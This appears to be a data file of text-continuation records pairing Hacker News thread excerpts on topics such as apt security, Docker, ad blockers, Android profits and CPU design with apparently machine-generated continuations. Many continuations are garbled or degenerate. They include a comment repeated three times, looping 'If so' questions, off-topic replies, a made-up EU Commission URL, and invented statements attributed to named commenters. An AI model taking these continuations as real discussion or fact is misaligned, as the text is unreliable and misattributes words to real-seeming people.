there's a bunch of good\nstuff in there if you're willing to dig.\n\n[http://mxr.mozilla.org/mozilla-\ncentral/source/xpcom/glue/nsT...](http://mxr.mozilla.org/mozilla-\ncentral/source/xpcom/glue/nsTArray.h)\n\n~~~\nnly\n> One of its unusual design decisions is that the array's length and capacity\n> is stored next to the array elements itself.\n\nGNU stdlibc++ does this for std::string so you get prettier output in the\ndebugger."} +{"output_text": "------\njrochkind1\nSo, is this a vulnerability in Docker?\n\nIf so, is it a vulnerability that could be exploited on a system running\nDocker?\n\nIf so, is it a vulnerability that could be exploited on a system running\nUbuntu?\n\nIf so, is it a vulnerability that could be exploited on a system running\nanything?\n\nIf so, why is this even news?\n\n~~~\nlugg\nIt's not a", "input_text": "transports, all of the package signing would still be absolutely required in\norder for package upgrades to be safe. In addition, the package manger should\ndistrust the transport no matter what (in fact, it should be resilient to\ncompromised repo servers).\n\nNow, should apt use TLS by default? Ideally, yes. A secure transport is better\nthan an insecure one regardless of what you're sending through it. But\nunfortunately it's not as simple as that. Most CDNs charge extra for TLS, and\nmany existing free mirrors of packages don't provide TLS at all. Also, using\nHTTP allows for proxies to cache packages.\n\nUnfortunately, as we discovered recently, apt had not been distrustful enough\nof HTTP metadata (which was a pretty big mistake since the entire design of\npackage managers is that they must distrust the transport, especially if it's\ncompletely insecure like HTTP).\n\n------\naerovistae\nWould have made this a bit clearer to note in the post that this is an email\nyou received, and that you are not Kent Lamb using Hacker News as a medium to\ndistribute Docker announcements, which is what this looks like.\n\n~~~\nlugg\nGood point, it does look wrong. Updated.\n\n------\npavanagrawal123\nI can't find an announcement of this anywhere besides HN? Will Docker be\npublishing info via official mediums?\n\n~~~\nlugg\nI assume they will. I only just got the email and it looks like only a small\nsubset of accounts are affected. Or at least that's what that PR spin is\nsupposed to make you think.\n\n~~~\npavanagrawal123\nI see. I originally thought this was the announcement, as that is what the\npost indicated.\n\n"} +{"output_text": " using containers over something like\nOpenContainers.\n\n------\njleader\nI'm a systems engineer at a large financial company, and we use Docker at\nseveral departments. It's definitely gaining momentum in our organization, and\nwe're looking into ways to improve our workflow.\n\nOne of the things I've noticed is that people sometimes have trouble\ndistributing their own source code with their Docker images. I've found that\nthe easiest way to make this easy for them", "input_text": " image is the\nsame in every environment\n\n\\- Easy onboarding to teams that use docker because you dont need to setup\nanything new. This is especially useful if your company encourages developers\nto work across teams\n\n\\- Ops can build around infrastructure around this and be sure that every team\nbuilds and runs code in the same way\n\n\\- If your application is complex, using docker-compose, its extremely simple\nto setup your dev environment\n\n\\- The community is moving towards docker, and it doesnt hurt your resume if\nyou have production docker experience\n\nMinuses:\n\n\\- For an extremely simple application (that you think will remain simple over\nits lifetime), it might be more overhead to use docker than not use it\n\n\\- Even though we\u2019ve been using boot2docker and vagrant to setup docker on\nMacOSX, it hasnt worked seamlessly. When you get on and off a vpn for example,\nboot2docker has constantly messed things up. If you can get your dev setup\nright, docker works well. If not, it can be a pain sometimes on OSX\n\n\\- Although its easy to build docker images for most of the open source\nsoftware out there (if docker images dont already exist), it can be a pain to\ndo that for enterprise software. Try using docker with oracle db. You might\nget it to work. You wont have fun with it!!\n\n------\ndeftek\nI would keep an eye on this project:\n[http://www.opencontainers.org/](http://www.opencontainers.org/)\n\n~~~\ndmarg\nHeard about this and seems like everyone and their mother are signing on. This\nis one of the reasons why I asked the main question is because I want to fully\nunderstand what the business case is for"} +{"output_text": ".\n\n~~~\ntrue_religion\nRacist != White Supremacist\n\nMy great grandmother was a racist.\n\n~~~\npaulddraper\nI'm not sure what you mean by \"White Supremacist\".\n\n~~~\ntrue_religion\n[https://en.wikipedia.org/wiki/White_supremacist](https://en.wikipedia.org/wiki/White_supremacist)\n\n~~~", "input_text": " who share his or her goals are not effective and\nshould adopt other tactics in order to achieve their aims.\n\nIf you're not able to see this, I have to question whether you've reviewed the\nmaterial your commenting on, or if you're incredibly politically naive, or if\nperhaps your questioning is not entirely in good faith.\n\n~~~\ntrue_religion\nSo the author is calling for less violence against minorities, wants to remove\nracist language from public discourse, but he must still be racist because he\ndoes not totally condemn racists who happen to want the same goals as he does?\n\nNot criticizing, I just want to know if this is a fair assessment. I do not\nknow how I feel about this in general, but in specific, his short term goal of\nreducing violence makes him a more tollerable enemy.\n\n~~~\nkrapp\n> but he must still be racist because he does not totally condemn racists who\n> happen to want the same goals as he does?\n\nYes, because those goals are racist.\n\nHe's racist because of his belief in and support for white nationalism and\nracial segregation, and the genetic and cultural superiority of the white\nrace, and his definition of \"western civilization\" in purely (pun intended)\nracial terms. He's racist because he views the presence of non-white people as\na form of pollution and believes in racist conspiracy theories like white\ngenocide.\n\nBeing racist and civil is still being racist.\n\n~~~\npaulddraper\nI'm not sure \"genetic superiority\" is in his list of claims. But in any case,\ngoing back to the original point, there's some real muddling of terminology\nhere.\n\nRacist!= Nazi\n\nMy great grandmother was racist"} +{"output_text": "anted, this is not a hard and fast rule, but it's certainly a strong\npreference.\n\n~~~\nthomnottom\nI can't think of a single thing that my family or friends have done that\nimplies low status.\n\n~~~\nRetric\nYou are a man of few words.\n\n~~~\nthomnottom\nI'm not sure what you think I'm not saying. I'm saying that the way you\ndescribe the preference is", "input_text": " we step back and reevaluate the way we are raising the youth. This\nwar on boys is wrong, and could have disastrous effects on our society in the\nfuture.\n\n~~~\ndudul\nAgreed. It is baffling to me that nobody seems to seriously consider that this\nwar on men/boys is what creates this weird and uncomfortable social dynamic.\nMasculinity is not something to be feared or ashamed of, teaching that is what\ncreates dysfunctional men.\n\n~~~\nkod\nNo, social norms that\n\n \n \n - you're not allowed to show emotion (unless it's anger)\n - you must get all of your emotional needs met through first your mother, and then your girlfriend / wife\n \n\nare what creates dysfunctional men.\n\n~~~\nRetric\nAs a tall, large framed man, I often get very strong negative reactions when I\nam physically fit. And I mean fit not weightlifting bulk. Keeping short hair\nand a clean shave while swimming regularly is a very utilitarian choice, but\nyou get even stronger negative reactions. The way out? Growing long hair\ntransformed rather negative skin head connotations with a far more teasing\nFabio.\n\nOur culture really looks down on the strong male archetype.\n\nPS: Don't believe me? Try growing a natural aka full beard.\n\n~~~\nthomnottom\nAs someone with a full beard, a father who wears a full beard, and several\nfriends with full beards, what is the problem with them?\n\n~~~\nRetric\nFor one thing it lowers the bar before people think your indigent. Depending\non industry it can often make it harder to find a job. On the whole it's\ngenerally viewed as a low status symbol.\n\nGr"} +{"output_text": ".\n\n~~~\nkenny_code\nThanks for the kind words.\n\nOutsourcing is a big one for me. I have a hard time trusting people I can't\nmeet in person. I have had bad experiences with outsourcing in the past.\n\nI have been looking into Rent-a-coder, but I have not found much out there.\n\n------\ntjr\nFind a good local lawyer who is also good at marketing, and pay", "input_text": " one anyway) than I\nmight offer, so why me? It's the reason I have made this post and offer up the\ndecision to code things myself or outsource. I know where I have a weakness,\neven if I learn to code, I still won't be as proficient as I need to be. So, I\nwill need someone.\n\nI guess my hope is that by actually creating something and having customers,\nthat traction (along with the list of things I believe I have to offer) will\nentice a \"tech co-founder\" to come join up with me.\n\n~~~\nfate_carver\nA CPA! Kudos. I know that is not easy, my fiancee just tested for her\nCPA...but I would hate to see the code she would write : ) This is way before\nyour time, but Kenny Rogers had a lyric, \"Got to know when to hold 'em, and\nknow when to fold 'em\" which can extrapolate to your perceived need to do\neverything. You can do everything, or anything, but where do you draw the\nline? Janitor? QA testing? Chief Bottle Washer? I'd \"hold\" on running the\ncompany, but \"fold\" on writing the code.\n\nIf you do decide to \"outsource\" do you mean offshore? Perhaps Rent-a-coder\nisn't a bad idea, but just make sure the coder(s) are available after they\nwrite the code, have them sign a non-compete, and possibly outsource a second\ncoder to review the code if you are not getting the warm and fuzzies from the\nfirst team. Ask for well-documented code including an overview explanation,\napproach, architectural considerations, and lots of comments"} +{"output_text": " can't focus on the conversation.\n\n~~~\nbenjamincanfly\nThanks for the feedback. I'll definitely keep that in mind.\n\nI'm not sure if I have the full version of the script available, but I'll\ndefinitely make sure to add the two points you mentioned.\n\nI'm also open to suggestions for other features that would make it even better\nfor people to use it.\n\n------\nbenjamincanfly\nI'm the", "input_text": " run software without hardware. Even if the computers of\ntomorrow are a mess of FPGA's that can be reconfigured on the fly, somebody's\ngot to make the FPGA's.\n\n------\nChuckMcM\nIts a great insight. What happens when your laptop is 'fast enough' for the\nforseeable future?\n\n~~~\njurjenh\nThen you start running into failure. Modern electronics isn't really built to\nlast, so having a laptop that will last you more than 10 years is extremely\nunlikely.\n\nUntil market demand changes to quality, long-lived electronics, you will still\nbe rolling over your computing device every couple of years. And then there's\nalways the trends and cycles of fashion...\n\n~~~\nwmf\nYeah, but 10 years is still a lot longer than the 3-year upgrade cycle many\npeople are on today.\n\n \n\nAsk HN: Web app feedback (intelligent chatting system) - benjamincanfly\nhttp://www.circleofconversation.com\n\n======\ngruseom\nI like it too. I might even use it, if there are enough high quality\nparticipants.\n\nI read the whole Theory page and it struck me as blah blah blah blah blah,\n_except_ for these two points:\n\n1\\. Conversations on topics you want, going on right now; 2\\. Karma keeps the\nquality high.\n\nTo me those are the core, and they're a pretty cool core. If I were you I'd\nstrip everything else out. And emphasize those two things on the main page.\n\nPersonally, I'd drop the recommendation system, or at least drop talking about\nit. There's so much tripe surrounding that kind of thing that, when I read it,\nI"} +{"output_text": "\nones.\n\n------\njokoon\nI wonder if it would be possible to use a dongle to access the encrypted data.\nI mean, if the encryption is not too strong, it could be possible.\n\n------\njokoon\nI wonder if it would be possible to use a dongle to access the encrypted data.\nI mean, if the encryption is not too strong, it could be possible.\n\n------\njokoon\nI", "input_text": " example, 1 key could boot up one OS and another key could boot up a\ndifferent OS. Seems like it'd be difficult to prove that you booted one or the\nother...\n\n~~~\ntalmand\nI can see the legal issues that would be forthcoming if you refused to share\nthe key to allow for access or agree to type it in yourself. Obstruction and\nall that.\n\nI'm wondering what the legal ramifications might be if you set a secondary key\nthat would wipe the drive in the most secure method possible and then provide\nthat key. Or even the alternate boot sequence as suggested.\n\n~~~\nmc32\n>I'm wondering what the legal ramifications might be if you set a secondary\nkey that would wipe the drive\n\nDestruction of evidence. \n\n~~~\ntalmand\nOh, I get that, I'm not saying it's a way to avoid the ramifications, I'm just\nwondering what they are.\n\nI have to say that I somewhat agree with the ruling because there are similar\nsituations with physical objects, not true one-to-one but they are there. I'm\njust wondering how the courts would react to the destruction of digital\nevidence that was not directly initiated by the defendant, but indirectly by\npreparing for the possibility.\n\n------\norbitingpluto\nClassical jibberish passwords are mostly muscle memory. I know I wouldn't be\nable to remember some of my mine of that sort after two weeks.\n\nIf you were incarcerated and you knew you might have to comply with an order\nto decrypt a hard drive, it might be in your best interest to create and\nshadow type many alternate passwords until you actually forget the important"} +{"output_text": "Except\nGoogle Play). But Google is making money from Android ecosystem.\n\n~~~\ntdkl\nYou're talking about the _operating_ profit, not the _revenue_ or _profit_\nwhich is what the article you're quoting is about.\n\n------\njoeblau\nI'm a big fan of the Founding Fathers and the ideals they stood for. But I\nthink the sentiment of the founding fathers is being lost.\n\nWe need to", "input_text": "people like me who are sick of android/iOS because of closeness of\nplatform.Even canonical with its huge budget admits they don't have plan to\nreplace iOS/android (which as you told is too late for such product, even for\nMicrosoft which have shitload of money ) but they targeting specific user's.\n\np.s. This is my understanding as simple end-user.I might be wrong.\n\n~~~\ntdkl\nThere is no money in targeting the couple %. Hell, there's almost no money in\nAndroid either unless you're Samsung.\n\n~~~\n0xFFC\nThere is no money in android? That is one of the funniest thing I ever heard\nin my entire life! Just calculate how much android brought people to the\ninternet, Then multiple it by some rate, it will be the money google make\nfrom advertising on android platform. How much internet going to grow,\nGoogle income will be grow also. Every search, Every app which you download\nfrom google play, It is direct money which goes into google's pocket, Put\naside Google play income which it will get from every transaction _ 30% I\nthink, I am not sure _ (which is huge but let assume google spend all of it\non android ecosystem and maintaining).\n\np.s. Targeting does not only imply earning money.\n\n~~~\ntdkl\n[http://techcrunch.com/2015/02/26/apple-eating-all-the-\nprofit...](http://techcrunch.com/2015/02/26/apple-eating-all-the-profits/)\n\n~~~\n0xFFC\nYou clearly misunderstood the article.As I mentioned eariler Yes, there is no\nprofit in selling Android products _hardware:some, software:none_("} +{"output_text": " is really\n$600.\n\nIf Apple's share goes up, then they can afford to sell a device at $199 and\nstill make money. If Apple's share goes down, then they have to charge more\nfor the same amount of profit.\n\n~~~\n2muchcoffeeman\nI would have guessed that the percentage of the device that is subsidy would\nhave gone up as well.\n\n------\njoeblau\nThis is a really interesting article", "input_text": "'cha know.\nIt's a freedom thing. Also, even if they make a loss, they will make it back\nin volume. (since that appears to be their _actual business strategy_,\nwhether to place sarcasm tags around the preceeding sentence is left as an\nexercise for the reader)\n\nSmall nitpick: roughlydrafted was _always_ a pure fanboi site with little or\nnothing of interest to say.\n\n~~~\nwhite_devil\nHe's certainly a fanboi, but he's been very insightful too.\n\n~~~\nStormbringer\nhe suffers from Gruber-syndrome.\n\nWhich is to say, that he will argue till the cows come home that market share\nis udderly (sic) irrelevant...\n\n...right up until Apple gets a market share lead in something, when he will\nwhip out the megaphone and start screaming about how \"we\" are winning now.\n\nHe's _almost_ as bad as the people who - in complete disregard of the facts,\nkeep slamming Apple no matter what they do.\n\n------\n2muchcoffeeman\nApple went from 4% market share with 50% profits sometime in 2010, to 8.7%\nmarket share with 75% profits. Which seems to imply they are also making their\ndevices, on average, cheaper.\n\nIs this the start of them slowly adjusting their prices to grab some more\nmarket share? Especially now that they actually have phone models to serve\nmultiple segments of the mobile phone market?\n\n~~~\nschiffern\nOr pie got larger, which seems more likely.\n\nMost of the price of the device is negotiated with the carrier, not the\nconsumer. So a \"free\" device is really $600, and a \"$199\" device"} +{"output_text": " fee they charge to index your\nsite is going to be far in excess of the cost of creating it.\n\nThe problem is that Google is a monopoly, and monopolists have a bad habit of\nnot negotiating. They just raise the price until nobody is willing to pay it.\n\n~~~\ntaligent\n> But you know perfectly well that the value of search traffic to your site is\n> worth more to you than the value of indexing your site is worth to Google or\n", "input_text": " \u201cThose who make a profit from the information\u201d produced by\nmedia companies should participate in their financing.\"\n\nIt's depressing to see so many examples of the abysmal understanding of the\ninternet that so many politicians seem to have. Ignorance can be forgiven to a\ncertain extent, but not even making an attempt to try to understand the\nsituation - just spending five minutes on google or wikipedia researching the\nGooglebot will tell you about robots.txt - is inexcusable.\n\nPublic and state ignorance of computers and the internet are leading us down a\nvery dark path; there needs to be an effort to try to educate our political\nrepresentatives, or we risk a future where legislation like SOPA is passed\npurely out of ignorance of what it means.\n\n~~~\ntaligent\n> just spending five minutes on google or wikipedia researching the Googlebot\n> will tell you about robots.txt\n\nSo basically your position is binary: Either don't allow your site to be\nindexed by Google or accept that they are going to profit from your content.\n\nIf you don't see why companies and governments see more shades of grey in this\nsituation then the only person who is ignorant is you.\n\n~~~\nAnthonyMouse\n>So basically your position is binary: Either don't allow your site to be\nindexed by Google or accept that they are going to profit from your content.\n\nNonsense. If you want to put \"no access\" in robots.txt and then go to Google\nand negotiate a fee from them for removing it, you're perfectly entitled to do\nthat. But you know perfectly well that the value of search traffic to your\nsite is worth more to you than the value of indexing your site is worth to\nGoogle or any other web search engine, so any"} +{"output_text": " possibly\ndo anything else.\n\nI'm not even sure if this is a good thing or not. I guess it's a sign of\nmental health.\n\n------\nkjaftaedi\nI've been in this situation for a long time. I've tried a lot of things.\n\nThe most effective approach I've found is to set a daily target for yourself.\nIt can be as simple as writing down a number (10 is good, 5 is better)", "input_text": " because I care. Perhaps you could try the same approach?\n\nIn the first summer that I couldn't get a coding internship (in college), I\ntaught my friend who didn't have a coding background how to code. I taught my\ngirlfriend at the time how to code. I started a meetup group and taught\neveryone I could. As they got better, I started to learn new things to teach.\nWhen I took on contract projects, I talked it over with my trusted friends and\nwe solve the projects together. They were getting better through the projects\nI take up and my projects became a little more fun to work on.\n\nNow, fast forward a few years, many of the people I taught are now senior\nsoftware engineers. I still meet up with them a few times a week to talk about\nnew coding patterns, discuss work projects, and help each other get better.\n\nFor me, the mindset shift I needed to do was to start thinking about how I can\nhelp others around me and make sure I'm helping them effectively.\n\n------\nsockaway\nI feel very similar. It has actually always been like that for me. I hardly\never did (=finished) any homework in school and university, but I was spending\nmost of my free time sitting at my desk b/c I had to do homework.\n\nNow I'm perfectly aware I'm procrastinating while I'm doing so, but I just\nfeel like I _must_ [find out xy / read the current news about xy / read that\ninteresting article I saw / review and close the hundreds of open browser tabs\n/ have some social interaction w/ someone / finish unrelated task xy (e. g.\nhousework) / eat sth / watch porn] at _that very moment_ and couldn't"} +{"output_text": "dotally at a few more.\n\n~~~\npatio11\nI am also a customer of the $199 plan. I have had a $199 plan since 2012. I\nhave never had a question about the system. I have had a question about the\npricing structure, which I have never had a problem resolving. I have had a\nquestion about the source code, which I have resolved to my satisfaction. I\nhave had a question about the quality of the service,", "input_text": " is a very impressive project.\n\n \nWhy cheap customers cost more - sgdesign\nhttp://sachagreif.com/why-cheap-customers-cost-more/\n======\npatio11\nFor Appointment Reminder, approximate per-account customer support incidents\nper month. I've taken the liberty of scaling them to X, where X represents the\nnumber for the highest publicly available account plan.\n\n \n \n Personal ($9): 7X\n Professional ($29): 4X\n Small Business ($79): 3X\n Office ($199): X\n \n\nThe character of the questions is also different at the various plan levels.\nMost common question for Office: \"What's the timeframe on integrating this\nwith...\" followed by \"Our $TITLE would like a report saying $NEEDS, can you\nmake that happen?\" Most common question for Personal: \"How do I schedule\nappointments?\" followed by \"The system is working exactly the way it says it\ndoes on the screen. Can you please tell me why that is happening? I thought it\nwould work in a way completely opposite to the way described on the screen. It\nwould be convenient if you could fix that. No, I didn't read the 'If you want\nthis to work in the opposite fashion...' text on the screen to change that\nsetting, I have more important things to do than worry about computers.\"\n\nYour mileage may vary. If I were doing the math based on phone calls waking me\nup in the middle of the night, the numbers get skewed due to one pathological\ncustomer in the $29 bucket, who has literally called me more than every other\ncustomer combined.\n\nP.S. I have fairly exact privileged information regarding this question at a\nhandful of companies and anec"} +{"output_text": " could or would ever be able to\noptimize?\n\n~~~\nwillvarfar\nThe Mill is designed to work with existing code, but it's not designed to\noptimise existing code. Mill is designed to be a new way of writing code that\nis much easier to optimise.\n\nHSA is a great paradigm for Mill, but it's not a Mill. Mill is designed to\nwork with existing code, and to make it easier to write that code.\n", "input_text": "Some kinds of code will benefit from this - long calculations and deep nested\nprocedures. But lots of hangups on consumer applications are in\nsynchronization, kernel calls, copying and event handling.\n\nI'd like to see an architecture address those somehow. E.g. virtualize\nhardware devices instead of writing kernel-mode drivers. Create instructions\nto synchronize hyperthreads instead of kernel calls (e.g. a large (128bit?)\nevent register, a stall-on-event opcode). If interrupts were events then a\nthread could wait on an interrupt without entering the kernel.\n\n~~~\nwillvarfar\nActually, the Mill is designed to address this; it has TLS segment for cheap\ngreen threading, SAS for cheap syscall and microkernel arch, cheap calls and\nseveral details for IPC which are not public yet.\n\n~~~\nJoeAltmaier\nWhat about synchronization? Folks are terrified of threads because\nsynchronizing is so hard. But a thread model can be the simplest especially in\nmessage models.\n\n------\nMjolnir\nVery very interesting, thanks for sharing! What would the path be to using\nexisting code/where would Mill appear logically first?\n\nAlso, could something like Mill work well within the HSA/Fusion/hybrid GPGPU\nparadigm? E.g. from my very amateur reading of your documents, it looks like a\nmuch needed and very substantial improvement to single threaded code; how\nwould a mixed case where we have heavy matrix multiplication in some parts of\nour code as part of a pipeline with sequential dependencies work? Would an\nideal case be a cluster (or some fast interconnect fabric in a multi socket\nsystem) of multi core Mill chips be the future?\n\nRealistically, is this something that LLVM"} +{"output_text": "/what-names-cars-get-before-they-are-ready-to-be-sold-to-you-5294\n======\njzwinck\nThe article is a little light on the history of names. It says that names are\nmade up from scratch, but names are actually a very old technology. The first\nrecord I found was from the BBC:\n[http://www.bbc.co.uk/news/magazine-1212", "input_text": " your own libraries, but I'm curious\nif anyone at Shopify had considered switching to say Ember or Angular or React\nbefore the rebuild?\n\n~~~\nAYBABTME\nYes, it's also mentioned in the article.\n\n------\naikah\nSo AFAIK they send html back to the client right? that's my understanding of\nturbolinks\n\nThe problem with this is that it makes client and server tightly coupled.One\ncannot update the client app without touching the server code.\n\nI understand that's a tradeoff but I think a restful architecture serving only\njson/xml data is better. And you dont have to duplicate logic that much.If any\nvalidation needs to happen clientside,create some validation resource for each\nmodel and do it entirely serverside for instance. Even SPAs dont need fat\nclientside models or a complex service layer on the client.\n\n~~~\nmatthewmacleod\nI don't know that what you've identified there is actually a problem in\npractice \u2013 I'd wager that in a system like Shopify's admin, the client and\nserver are inherently coupled regardless of what architecture you choose.\nTrying to abstract to a client-side app and JSON API in these situations often\nresults in more complexity for few benefits.\n\n~~~\nwvanbergen\nThis. We ended up creating models for the exact same stuff in both Ruby and\nJS. Lots of code duplication, and losing client-side performance due to\ndeserializing JSON all the time.\n\n------\njbergens\nI think it is great that they hade the courage to redo something that wasn't\nworking for them anymore.\n\n \nHow Cars Get Named - samclemens\nhttp://www.atlasobscura.com/articles"} +{"output_text": "------\nmichaelpinto\nI think the ad industry is going to have to re-evaluate the value of\nunderstanding that their ads are \"good for users\" vs. the value of simply\nhaving a large audience. If you're a media company and you don't have an ad\nblocker, you're not going to make much money.\n\n------\njrochkind1\n> _The ads are often poorly designed, poorly implemented, or both._\n\n", "input_text": "'s too easy to find scapegoats for our blame. I try to remember this when I\nfind myself sliding back into mediocrity.\n\n------\nsnowwrestler\nA major failing of this article is that it presupposes that people actually\nconsidered the quality of advertising in their decision to run ad blockers.\n\nWhen running an ad blocker, most ads are blocked by default on every site.\nTherefore the user never even has a chance to see if the ads are \"good\" or\nnot.\n\nThe question is, what happens if everyone starts using this software? Granted,\nit's a very unlikely scenario since it takes effort to install and manage ad\nblockers. But it's not hard to imagine that a relationship would exist between\nmarginal increases in ad blocker usage, and marginal decreases in ad revenue.\n\nMost of the \"good\" examples in this article are not even ads, they are\nsponsored content. It's roughly analogous to using product placements in TV\nshows to replace revenue lost to ad skipping software in DVRs. But not many\nwebsites are big enough (like TechDirt is) to command the special attention\nfrom advertisers to create these \"one off\" deals.\n\n------\nhayksaakian\nThe qq around ad blockers is the same as the qq around piracy. Bootleg vhs\ntapes were available before streaming media, relatively easy to make, and\nshare. However the vast majority of people do not consume them to a damaging\nextent. The same is true for ad blockers and content distribution now. Ad\nblockers are a solution to a usability and business model problem. If you as a\nproducer of content find it to be a huge issue, then you have it in your power\nto change it.\n\n"} +{"output_text": "rooched_moose\nThe real estate bubble was always going to happen. It's just a matter of how\nmuch and when.\n\nThe interesting question is why it took until 2008 to happen. I think that's\ndue in part to the easy availability of credit. In the 90s, it was much harder\nto get a loan and you had to have a track record of good credit and a steady\njob.\n\nIn the 00s, that changed. Credit", "input_text": " editors\nin other languages, like Eclipse, or that Ruby thing there once was (probably\nstill is), or the Chromium/JS monster that was on HN recently.\n\nI haven't yet found an editor I'm really happy with, so if I ever have time,\nI'll probably write my own as well. I'll lose the Emacs packages I don't use\nor even know about, but if you haven't bought into an existing ecosystem, that\ndoesn't really matter. I'm unhappy enough with the existing systems that I\ndon't mind throwing them away for something different.\n\n \nAnonymous shell companies buying American real estate - paulpauper\nhttps://www.revealnews.org/article/unmasking-the-secret-landlords-buying-up-america/\n======\nthreatofrain\n> All-cash transactions have come to account for a quarter of all residential\n> real estate purchases, \u201ctotaling hundreds of billions of dollars\n> nationwide,\u201d the Financial Crimes Enforcement Network \u2013 the financial crimes\n> unit of the federal Treasury Department, also known as FinCEN \u2013 noted in a\n> 2017 news release. Thanks to the Bank Secrecy Act, a 1970 anti-money-\n> laundering law, the agency is able to learn who owns many of these\n> properties. In high-cost cities such as New York, San Francisco, Los Angeles\n> and Miami, it\u2019s flagged over 30% of cash purchases as suspicious\n> transactions. But FinCEN also cites this bill to hide this information from\n> the public, leaving the American people increasingly in the dark about who\n> owns their cities.\n\n> For journalists, it requires undertaking a tremendous investigative effort\n> to find the real owner of even one property, let alone millions.\n\n------\nsc"} +{"output_text": " the TFEU.\n\n[http://www.EU-\nCommission.EU/publications/services/files/fil...](http://www.EU-\nCommission.EU/publications/services/files/file_20130213_eur_c_m_2013021301.pdf/download)\n\n------\njokoon\nI think it's a good thing that the EU is investigating this. I don't like the\nidea of proprietary software,", "input_text": " idea?\n\nI might understand it if the boot sequence just gives a warning with\ninformation, suggestions and a \"Don't warn me again\" option, but from what I\nhear it just makes the machine unusable.\n\n~~~\nDanBC\nWindows 8 is meant to be used by people who don't know much about computers.\nThus, the approach they take might not fit skilled users.\n\nIdeally the novice user will take their machine to a clueful technician who\nwill wipe the drives and reinstall the OS, and then offer to set up firewalls\nand anti virus software.\n\nUnfortunately novice users often do not back up their data so wiping the drive\nis unpopular.\n\nAnd there are many technicians who think that malware removal without wiping\nthe drives is acceptable.\n\n------\ncooldeal\nEU had already previously responded to this and I believe this complaint by a\n\"8000-strong\" body is not going to change it.\n\n>The Commission is aware of the Microsoft Windows 8 security requirements.\nAccording to these requirements, in order to conform to the Windows 8\ncertification program, computer manufacturers (\u2018OEMs\u2019) have to use Unified\nExtensible Firmware Interface (\u2018UEFI\u2019) secure boot.\n\n>The Commission has at its disposal various legal instruments to ensure that\ncompetition is preserved in the markets. The basic provisions are contained in\nthe Treaty on the Functioning of the European Union (\u2018TFEU\u2019) in Article 101\nand 102 TFEU.\n\n>Whether there is a violation of EU competition rules depends however on a\nrange of factual, legal and economic considerations. The Commission is\ncurrently not in possession of evidence suggesting that the Windows 8 security\nrequirements would result in practices in violation of EU competition rules as\nlaid down in"} +{"output_text": " votes needed to win.\n\n~~~\nmarchenko\nI think the establishment Republicans are more upset about the idea of a\nconvention than the actual possibility of a brokered convention. I don't\nbelieve they have any idea how to stop one from occurring.\n\n~~~\nat-fates-hands\nI would assume that they would like to, but they're not going to try to.\n\nThey're going to try to rig the election so that no one", "input_text": " here, France is the complete opposite of an efficient government. The\nbureaucracy is massive and everywhere. It's quite outside of the scope of this\ntopic but the short answer is don't create a company there.\n\n~~~\nS4M\nI'm French as well (expat, though). What you say is true, but it strikes me as\na lesser evil than the ones that are plaguing USA: little social protection\nand high cost of education among others.\n\n~~~\nrealusername\nAlso expat on my case (London). Yes indeed I agree. My problem with the French\nsystem is more the bureaucracy than anything else. I'm from the countryside in\na post-industrial area so it makes it even worse than in cities. I have a\nbrother who has a shop and honestly, it's impossible to manage the paperwork\nnowadays, I don't want to put any anecdotes here because people won't beleive\nme and I will probably be downvoted.\n\nI think around ~70% of the shops in the area are close to bankruptcy and the\nsystem is crashing really hard currently. If it stays like this, everyone will\nbe relying on some sort of black market to purchase goods in less than 10\nyears. While I guess main cities are still okay, things are not really working\nanymore in remote areas.\n\n------\nat-fates-hands\nThe insanity about this is HE'S NOT EVEN THE NOMINEE YET.\n\nConsidering how pissed the establishment Republicans are that he _might_ be\nthe nominee, they're all betting on an open convention followed by some\ncombination of a Walker, Cruz, Rubio, Ryan ticket.\n\nI can't believe how people have lost their minds and he most likely won't get\nthe amount of"} +{"output_text": " algebra that you'll be using for the rest of your\nlife\" and end with \"here's a bunch of matrices that you'll be using to solve\nproblems for the rest of your life\". The former is a lot easier to teach than\nthe latter.\n\n~~~\njcranmer\nI should add that I'm talking about the approach taken by the \"Standard\nAlgebra\" course at my school. I'm not sure how the other courses approach it.\n\nOne", "input_text": " internship I had,\nthe hiring manager asked me that. A few times, I had no response and was\nshuffled around my first few weeks. Eventually, I realized that _probably_\nwasn't the best way of going about things.\n\nAnd all that was at companies with thousands of employees: It's a much more\nvital question to be prepared to answer (even if you're not asked) at smaller\nshops.\n\nGreat advice.\n\n------\nmaxwin\nI definitely lost my respect and trust to WePay founders because of their\nseemingly support for unpaid internships. Their justification is that interns\ncan gain learning experience though they're not paid. This is okay if none of\nthe intern's work goes to production code. If the interns are doing real work\nthat impacts the company's products, then it is not only illegal, but also\nunethical.\n\n~~~\nbullrunbear\nMaxwin,\n\nCheck this out at my alma mater, led by a very respected valley veteran:\n[http://www.cob.sjsu.edu/bennet_s/196%20Spring%2010%20Syllabu...](http://www.cob.sjsu.edu/bennet_s/196%20Spring%2010%20Syllabus.pdf)\n\n------\n100k\nI have coffee that needs fetching. Perhaps you can do that. ;)\n\n \nLinear Algebra and Applications: An Inquiry-Based Approach - henning\nhttps://scholarworks.gvsu.edu/cgi/viewcontent.cgi?article=1021&context=books\n======\njcranmer\nPedagogically, the challenge to teaching linear algebra is that you start with\n\"here's systems of linear"} +{"output_text": " the data stores are basically the same. I've tried to\nunderstand what I'm storing in each of them, and it's all the same - rows of\ndata, accessed by SQL-like API.\n\nI don't think there's any point in having a separate store for each thing\nexcept when there's a significant difference between them.\n\n~~~\nbatbomb\nI agree that there is a lot of overlap, but I think that's because there isn't\na", "input_text": " an order of\na magnitude worse than WebSQL when put under heavy load (this likely has more\nto do with ASM vs true native code than Sql.js in particular). Particularly,\nsql.js starts to stutter at a far lower query load than WebSQL for a given\nmachine. Furthermore, Sql.js uses sqlite3_exec() under the hood, which means\nthat all results get converted to strings, _regardless of the underlying type\nof the column_. And finally, effective memory capacities are not the same.\n\n~~~\njwise0\nYes, I just wrote a small app around sql.js, and I was surprised at how poorly\nit performed. I was expecting to be within a factor of three of native, but\nI'm seeing performance down by an order of magnitude or so. The sql.js page\nalludes to bugs open in Firefox and Chrome for these issues; I imagine they'll\nshake out over time, but it's certainly not a buttery smooth experience just\nyet. Even still, it certainly works better than the alternatives!\n\n------\nbatbomb\nIt's unfortunate most of this was debated at the beginning of all the hype\naround NoSQL data stores.\n\nIt would be some work, but still be relatively trivial to build a query spec,\nprobably based off of SQL 92, and a basic type system spec (Strings, numbers,\nand dates are the bulk of it), and then an implementation of everything else.\n\nFacebook did it with Presto, although they haven't finished the DML part of\nit.\n\nReading the emails, I get the feeling most of the people involved didn't have\nas much experience with databases as they probably should have in order to\nmake a truly informed decision.\n\n~~~\npornel\nThe problem is that all"} +{"output_text": " / 